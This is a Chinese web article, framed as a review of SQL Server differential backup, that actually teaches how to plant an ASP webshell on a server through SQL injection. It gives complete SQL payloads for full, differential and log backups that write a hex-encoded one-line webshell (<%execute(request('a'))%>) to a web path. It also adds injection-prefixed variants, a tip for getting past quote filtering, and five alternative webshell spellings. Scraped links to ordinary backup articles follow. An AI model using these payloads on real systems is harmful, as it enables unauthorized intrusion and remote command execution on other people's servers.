复习一下sql server的差异备份_MsSql

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少! 

差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--

2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================

我发现上面代码,有时会无效,而直接用

backup database 库名 to disk = 'c:\ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!

网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:\cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup log null to disk = '备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script language=VBScript runat=server>execute request("a")</script>
e).<%25Execute(request("a"))%25> 

时间: 2024-10-01 04:40:05

复习一下sql server的差异备份_MsSql的相关文章

详解SQL Server的差异备份还原

在SQL Server中还原差异备份,需要先还原在差异备份时间点之前的一个完整备份,在还原完整备份时要加上NORECOVERY参数,示例SQL语句如下: RESTORE DATABASE [数据库名称] FROM DISK = N'完整备份文件路径' WITH FILE = 1, NOUNLOAD, STATS = 10, NORECOVERY GO 在Management Studio中对应的选项是: Leave the database non-operational, and do not

快速实现SQL Server数据库恢复备份_MsSql

本文为大家分享了SQL Server数据库恢复备份的两种方法,供大家参考,具体内容如下 第一种方法:通常我们采用恢复备份的方式,选择目标数据库,选择源设备进行恢复. 截图如下: 第二种方法:这种方式有时候不太方便,而脚本方式将更方便,使用脚本方式如下. /* 备份数据DB 到.bak文件.然后利用此bak文件恢复一个新的数据库DBTest. */ USE master BACKUP DATABASE DB TO DISK = 'e:\DBTest.bak' RESTORE FILELISTONL

SQL Server中网络备份一例_MsSql

复制代码 代码如下: use master  declare @dir varchar(256),@dir_db varchar(256),          @verb varchar(256),@cmd varchar(256),          @backup_name varchar(256),@dynamic_name varchar(10),          @disk_name varchar(256)  --建立网络连接  exec xp_cmdshell 'net use 

MSSQL · 最佳实践 · SQL Server三种常见备份

摘要 本期月报是SQL Server数据库备份技术系列文章的开篇,介绍三种常见的SQL Server备份方法的工作方式.使用T-SQL语句和使用SSMS IDE创建备份集三个层面,介绍SQL Server的三种常见备份的工作原理和使用方法.三种常见的备份包括: 数据库完全备份(Full Backup) 数据库日志备份(Transaction Log Backup) 数据库差异备份(Differential Backup) 备份的重要性 在开始分享之前,我们首先来看看数据库备份的重要性.进入

《SQL Server企业级平台管理实践》读书笔记——关于SQL Server数据库的备份方式

原文:<SQL Server企业级平台管理实践>读书笔记--关于SQL Server数据库的备份方式 数据备份一直被认为数据库的生命,也就是一个DBA所要掌握的主要技能之一,本篇就是介绍SQL Server备份原则,SQL Server数据库分为数据文件和日志文件.为了使得数据库能够恢复一致点,备份不仅需要拷贝数据数据文件里的内容,还要拷贝日志文件里的内容.那么根据每次备份的目标不同,我们可以将备份分为数据备份和日志备份. 数据备份的范围可以是完整的数据库.部分数据库.一组文件或文件组.所以根

MSSQL-最佳实践-SQL Server三种常见备份

摘要 本期月报是SQL Server数据库备份技术系列文章的开篇,介绍三种常见的SQL Server备份方法的工作方式.使用T-SQL语句和使用SSMS IDE创建备份集三个层面,介绍SQL Server的三种常见备份的工作原理和使用方法.三种常见的备份包括:数据库完全备份(Full Backup)数据库日志备份(Transaction Log Backup)数据库差异备份(Differential Backup) 备份的重要性 在开始分享之前,我们首先来看看数据库备份的重要性.进入DT时

SQL Server 数据库使用备份还原造成的孤立用户和对象名‘xxx’无效的错误的解决办法

server|备份|错误|对象|解决|数据|数据库 介绍SQL Server 数据库使用备份还原造成的孤立用户和对象名'xxx'无效的错误的解决办法          在使用数据库的过程中,经常会遇到数据库迁移或者数据迁移的问题,或者有突然的数据库损坏,这时需要从数据库的备份中直接恢复.但是,此时会出现问题,这里说明几种常见问题的解决方法.一.孤立用户的问题比如,以前的数据库的很多表是用户test建立的,但是当我们恢复数据库后,test用户此时就成了孤立用户,没有与之对应的登陆用户名,哪怕你建立

SQL Server系统数据库备份最佳实践

原文:SQL Server系统数据库备份最佳实践 首先了解主要的系统数据库: master 包含登录信息和其他数据库的核心信息 msdb 存储作业.操作员.警报.备份还原历史.数据库邮件信息等等. model 所有新数据库的模型,如果希望新数据库都有某些对象,可以在这里创建. tempdb sql server重启时重建,所以不需要备份 除了以上四种,其实还有一个数据库:Resource 从2005就引入的,一个只读.隐藏的数据库,包含所有在sql server中的系统对象.由于SQL SERV

SQL Server 2008、SQL Server 2008R2 自动备份数据库

让SQL Server 2008自动备份数据库,需要建立一个SQL Server作业,并启动SQL Server代理,使该作业定期运行. 具体来说,可以按以下步骤进行: 一.打开SQL Server Management Studio,在对象资源管理器中,确认SQL Server代理已启动,若没有,右击SQL Server代理节点,点击"启动". 二.展开SQL Server 代理节点,在其下的作业文件夹上右击,选择"新建作业". 三.在弹出的"新建作业&